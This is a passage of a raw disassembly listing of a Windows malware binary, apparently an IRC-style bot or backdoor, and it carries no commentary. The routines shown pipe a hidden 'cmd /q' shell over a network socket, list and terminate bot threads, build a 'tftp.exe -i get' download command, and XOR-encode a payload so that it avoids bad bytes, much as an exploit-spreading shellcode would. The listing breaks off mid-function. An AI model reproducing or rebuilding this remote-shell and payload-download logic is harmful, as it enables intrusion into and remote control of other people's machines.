		push	dword ptr [esi+10h]
		mov	edi, dword_423078
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_43EBBC	; closesocket
		push	esi
		call	sub_41793B
		xor	eax, eax
		inc	eax

loc_416453:				; CODE XREF: sub_416304+6Aj
		pop	ecx

loc_416454:				; CODE XREF: sub_416304+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416304	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416459	proc near		; CODE XREF: sub_416304+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417889
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_416543
		mov	ebx, dword_423140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_423078
		test	eax, eax
		jnz	short loc_4164BC
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_438808
		jmp	short loc_4164DC
; ---------------------------------------------------------------------------

loc_4164BC:				; CODE XREF: sub_416459+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_4164E4
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4387B8

loc_4164DC:				; CODE XREF: sub_416459+61j
		call	sub_40BE01
		pop	ecx
		jmp	short loc_416512
; ---------------------------------------------------------------------------

loc_4164E4:				; CODE XREF: sub_416459+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_416552
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416547
		push	offset dword_438780
		call	sub_40BD8D

loc_416512:				; CODE XREF: sub_416459+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_41651E
		push	[ebp+var_4]
		call	edi	; CloseHandle

loc_41651E:				; CODE XREF: sub_416459+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_416529
		push	[ebp+var_8]
		call	edi	; CloseHandle

loc_416529:				; CODE XREF: sub_416459+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_416532
		push	eax
		call	edi	; CloseHandle

loc_416532:				; CODE XREF: sub_416459+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41653C
		push	eax
		call	edi	; CloseHandle

loc_41653C:				; CODE XREF: sub_416459+DEj
		push	esi
		call	sub_41793B
		pop	ecx

loc_416543:				; CODE XREF: sub_416459+1Dj
		xor	eax, eax
		jmp	short loc_41654D
; ---------------------------------------------------------------------------

loc_416547:				; CODE XREF: sub_416459+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_41654D:				; CODE XREF: sub_416459+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416459	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416552	proc near		; CODE XREF: sub_416459+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417030
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417030
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42313C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_423138	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_423120	; CreateProcessA
		test	eax, eax
		jz	short loc_41660E
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_444570[eax], ecx
		call	dword_423078	; CloseHandle
		jmp	short loc_416624
; ---------------------------------------------------------------------------

loc_41660E:				; CODE XREF: sub_416552+9Aj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_438858
		call	sub_40BE01
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_416624:				; CODE XREF: sub_416552+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41662B	proc near		; DATA XREF: sub_416304+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		mov	ebx, dword_423074
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		jmp	short loc_41668E
; ---------------------------------------------------------------------------

loc_416642:				; CODE XREF: sub_41662B+7Bj
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_416677

loc_41664D:				; CODE XREF: sub_41662B+4Aj
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_416667
		cmp	dl, 0Dh
		jz	short loc_416667
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_416667:				; CODE XREF: sub_41662B+2Cj
					; sub_41662B+31j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_41664D

loc_416677:				; CODE XREF: sub_41662B+20j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43EB74	; send
		test	eax, eax
		jle	short loc_4166A8

loc_41668E:				; CODE XREF: sub_41662B+15j
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_416642

loc_4166A8:				; CODE XREF: sub_41662B+61j
		mov	esi, dword_42308C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_4166C4
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4388A8
		call	sub_40BE01
		pop	ecx
		pop	ecx

loc_4166C4:				; CODE XREF: sub_41662B+88j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41662B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4166C9	proc near		; DATA XREF: sub_416304+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		jmp	loc_4167C2
; ---------------------------------------------------------------------------

loc_4166E4:				; CODE XREF: sub_4166C9+10Ej
		cmp	[ebp+var_10], ebx
		jbe	short loc_4166F1
		dec	[ebp+var_10]
		jmp	loc_4167C5
; ---------------------------------------------------------------------------

loc_4166F1:				; CODE XREF: sub_4166C9+1Ej
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4167AD
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416761
		cmp	al, 7Fh
		jz	short loc_416761
		cmp	al, 3
		jnz	short loc_41671C
		push	ebx
		push	ebx
		call	dword_423184	; GenerateConsoleCtrlEvent
		jmp	short loc_416788
; ---------------------------------------------------------------------------

loc_41671C:				; CODE XREF: sub_4166C9+47j
		cmp	al, 15h
		jnz	short loc_41673E
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416774
; ---------------------------------------------------------------------------

loc_41673E:				; CODE XREF: sub_4166C9+55j
		xor	ecx, ecx
		mov	[ebp+esi+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		jnz	short loc_416775
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416774
; ---------------------------------------------------------------------------

loc_416761:				; CODE XREF: sub_4166C9+3Fj
					; sub_4166C9+43j
		cmp	esi, ebx
		jbe	short loc_41678B
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_416774:				; CODE XREF: sub_4166C9+73j
					; sub_4166C9+96j
		pop	ecx

loc_416775:				; CODE XREF: sub_4166C9+85j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43EB74	; send
		test	eax, eax
		jle	short loc_4167DD

loc_416788:				; CODE XREF: sub_4166C9+51j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41678B:				; CODE XREF: sub_4166C9+9Aj
		cmp	al, 0Dh
		jnz	short loc_4167C5
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_42307C	; WriteFile
		test	eax, eax
		jz	short loc_4167DD
		xor	esi, esi
		jmp	short loc_4167C5
; ---------------------------------------------------------------------------

loc_4167AD:				; CODE XREF: sub_4166C9+34j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4167BB
		mov	[ebp+var_C], 1
		jmp	short loc_4167C5
; ---------------------------------------------------------------------------

loc_4167BB:				; CODE XREF: sub_4166C9+E7j
		mov	[ebp+var_10], 0Ah

loc_4167C2:				; CODE XREF: sub_4166C9+16j
		mov	[ebp+var_C], ebx

loc_4167C5:				; CODE XREF: sub_4166C9+23j
					; sub_4166C9+C4j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43EB3C	; recv
		test	eax, eax
		jg	loc_4166E4

loc_4167DD:				; CODE XREF: sub_4166C9+BDj
					; sub_4166C9+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4166C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167E2	proc near		; CODE XREF: sub_416802+Ap
					; sub_4168DA+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4177B0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4177B0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_4167E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416802	proc near		; CODE XREF: sub_4168F1+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4167E2
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_41681F
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41681F:				; CODE XREF: sub_416802+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_4177B0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_4177B0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43898C, eax
		lea	eax, [edi+1]
		mov	dword_4389AD, eax
		lea	eax, [edi+17h]
		mov	dword_4389A5, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_438928
		push	ebx
		mov	dword_4389BB, eax
		call	sub_417090
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417090
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417090
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417090
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417090
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417090
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4389B1
		push	esi
		call	sub_417090
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416802	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168DA	proc near		; CODE XREF: sub_4168F1+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4167E2
		push	eax
		call	sub_41695E
		add	esp, 0Ch
		retn
sub_4168DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168F1	proc near		; CODE XREF: sub_402B61+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_4168DA
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416911
		cmp	eax, 0FFFFh
		jbe	short loc_416915

loc_416911:				; CODE XREF: sub_4168F1+17j
		xor	eax, eax
		jmp	short loc_41695A
; ---------------------------------------------------------------------------

loc_416915:				; CODE XREF: sub_4168F1+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_4167E2
		add	eax, 101h
		push	eax
		call	sub_417889
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4167E2
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416802
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416979
		push	esi
		mov	edi, eax
		call	sub_41793B
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_41695A:				; CODE XREF: sub_4168F1+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_4168F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41695E	proc near		; CODE XREF: sub_4168DA+Ep
					; sub_416979+47p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416967
		inc	ecx

loc_416967:				; CODE XREF: sub_41695E+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_41695E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416979	proc near		; CODE XREF: sub_4168F1+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_C]
		cmp	dl, 0Ah
		jz	short loc_416993
		cmp	dl, 0Dh
		jz	short loc_416993
		cmp	dl, 5Ch
		jz	short loc_416993
		test	dl, dl
		jnz	short loc_416997

loc_416993:				; CODE XREF: sub_416979+Aj
					; sub_416979+Fj ...
		inc	edx
		mov	[ebp+arg_C], edx

loc_416997:				; CODE XREF: sub_416979+18j
		push	esi
		mov	esi, 0FFh
		cmp	edx, esi
		jbe	short loc_4169BF
		mov	eax, edx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_4169B6
		cmp	al, 0Dh
		jz	short loc_4169B6
		cmp	al, 5Ch
		jz	short loc_4169B6
		test	al, al
		jnz	short loc_4169BF

loc_4169B6:				; CODE XREF: sub_416979+2Fj
					; sub_416979+33j ...
		add	edx, 100h
		mov	[ebp+arg_C], edx

loc_4169BF:				; CODE XREF: sub_416979+26j
					; sub_416979+3Bj
		push	edx
		call	sub_41695E
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_4169D5
		cmp	eax, 0FFFFh
		jbe	short loc_4169DC

loc_4169D5:				; CODE XREF: sub_416979+53j
		xor	eax, eax
		jmp	loc_416A77
; ---------------------------------------------------------------------------

loc_4169DC:				; CODE XREF: sub_416979+5Aj
		push	ebx
		mov	bl, byte_489480
		xor	ecx, ecx
		push	edi
		mov	edi, [ebp+arg_8]
		test	edx, edx
		jbe	short loc_416A09

loc_4169ED:				; CODE XREF: sub_416979+8Ej
		mov	al, [ecx+edi]
		xor	al, bl
		jz	short loc_416A00
		cmp	al, 0Ah
		jz	short loc_416A00
		cmp	al, 0Dh
		jz	short loc_416A00
		cmp	al, 5Ch
		jnz	short loc_416A04

loc_416A00:				; CODE XREF: sub_416979+79j
					; sub_416979+7Dj ...
		inc	bl
		xor	ecx, ecx

loc_416A04:				; CODE XREF: sub_416979+85j
		inc	ecx
		cmp	ecx, edx
		jb	short loc_4169ED

loc_416A09:				; CODE XREF: sub_416979+72j
		cmp	edx, esi
		mov	byte_489480, bl
		ja	short loc_416A35
		push	15h
		push	offset loc_438910
		push	[ebp+arg_0]
		mov	byte_43891D, dl
		mov	byte_438921, bl
		call	sub_417090
		add	esp, 0Ch
		push	15h
		jmp	short loc_416A56
; ---------------------------------------------------------------------------

loc_416A35:				; CODE XREF: sub_416979+98j
		push	17h
		push	offset loc_4388F8
		push	[ebp+arg_0]
		mov	word_438906, dx
		mov	byte_43890B, bl
		call	sub_417090
		add	esp, 0Ch
		push	17h

loc_416A56:				; CODE XREF: sub_416979+BAj
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416A72
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_416A64:				; CODE XREF: sub_416979+F7j
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416A64

loc_416A72:				; CODE XREF: sub_416979+E3j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_416A77:				; CODE XREF: sub_416979+5Ej
		pop	esi
		leave
		retn
sub_416979	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A7A	proc near		; CODE XREF: sub_405F35+21Fp
					; sub_4070A3+EDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_444368

loc_416A82:				; CODE XREF: sub_416A7A+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416A96
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4890F8
		jl	short loc_416A82
		jmp	short loc_416AE1
; ---------------------------------------------------------------------------

loc_416A96:				; CODE XREF: sub_416A7A+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_444368[esi]
		push	eax
		call	sub_418910
		mov	eax, [esp+14h+arg_4]
		and	dword_44456C[esi], 0
		and	dword_444570[esi], 0
		mov	dword_444568[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_444580[esi], 0
		mov	dword_444574[esi], eax
		pop	esi

loc_416AE1:				; CODE XREF: sub_416A7A+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416A7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AE5	proc near		; DATA XREF: sub_40EC43+5BBAo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_416B37
		push	[ebp+var_14]
		call	sub_416D90
		add	esp, 14h
		push	0
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
sub_416AE5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B37	proc near		; CODE XREF: sub_416AE5+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_444368

loc_416B61:				; CODE XREF: sub_416B37+78j
		cmp	byte ptr [esi],	0
		jz	short loc_416BA2
		cmp	[ebp+arg_C], 0
		jnz	short loc_416B75
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_416BA2

loc_416B75:				; CODE XREF: sub_416B37+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 24h

loc_416BA2:				; CODE XREF: sub_416B37+2Dj
					; sub_416B37+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4890F8
		jl	short loc_416B61
		pop	edi
		pop	esi
		leave
		retn
sub_416B37	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB5	proc near		; CODE XREF: sub_40EC43+4D99p
					; sub_416C3D+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416C37
		cmp	esi, 1F4h
		jge	short loc_416C37
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_44457C[esi]
		push	dword ptr [edi]
		call	dword_423168	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_416BE7
		inc	ebp

loc_416BE7:				; CODE XREF: sub_416BB5+2Fj
		mov	[edi], ebx
		lea	edi, dword_444570[esi]
		mov	dword_444568[esi], ebx
		mov	dword_44456C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416C08
		push	eax
		call	sub_4151A1
		pop	ecx

loc_416C08:				; CODE XREF: sub_416BB5+4Aj
		mov	[edi], ebx
		lea	edi, dword_444574[esi]
		mov	byte ptr dword_444368[esi], bl
		mov	byte_444580[esi], bl
		push	dword ptr [edi]
		call	dword_43EBBC	; closesocket
		lea	esi, dword_444578[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		mov	[esi], ebx
		pop	edi

loc_416C37:				; CODE XREF: sub_416BB5+Dj
					; sub_416BB5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416BB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C3D	proc near		; CODE XREF: sub_40AA70:loc_40AA94p
					; sub_40D1A2+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_444368

loc_416C49:				; CODE XREF: sub_416C3D+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416C5A
		push	edi
		call	sub_416BB5
		test	eax, eax
		pop	ecx
		jz	short loc_416C5A
		inc	ebx

loc_416C5A:				; CODE XREF: sub_416C3D+Fj
					; sub_416C3D+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4890F8
		jl	short loc_416C49
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416C3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C6F	proc near		; CODE XREF: sub_40EC43+1DA9p
					; sub_40EC43+1E1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_44456C

loc_416C83:				; CODE XREF: sub_416C6F+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416CA5
		test	edi, edi
		jle	short loc_416C97
		cmp	[esi], edi
		jz	short loc_416C97
		cmp	ebx, edi
		jnz	short loc_416CA5

loc_416C97:				; CODE XREF: sub_416C6F+1Ej
					; sub_416C6F+22j
		push	ebx
		call	sub_416BB5
		test	eax, eax
		pop	ecx
		jz	short loc_416CA5
		inc	[ebp+var_4]

loc_416CA5:				; CODE XREF: sub_416C6F+1Aj
					; sub_416C6F+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4892FC
		jl	short loc_416C83
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416C6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CBC	proc near		; CODE XREF: sub_40702C+Bp
					; sub_4070A3+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_444568

loc_416CC3:				; CODE XREF: sub_416CBC+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416CCC
		inc	eax

loc_416CCC:				; CODE XREF: sub_416CBC+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4892F8
		jl	short loc_416CC3
		retn
sub_416CBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CDB	proc near		; CODE XREF: sub_40EC43+5647p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_444568
		push	esi

loc_416CE5:				; CODE XREF: sub_416CDB+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416CFE
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4892F8
		jl	short loc_416CE5
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_416CFE:				; CODE XREF: sub_416CDB+10j
		mov	eax, edx
		pop	esi
		retn
sub_416CDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D02	proc near		; CODE XREF: sub_40EC43+5D54p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
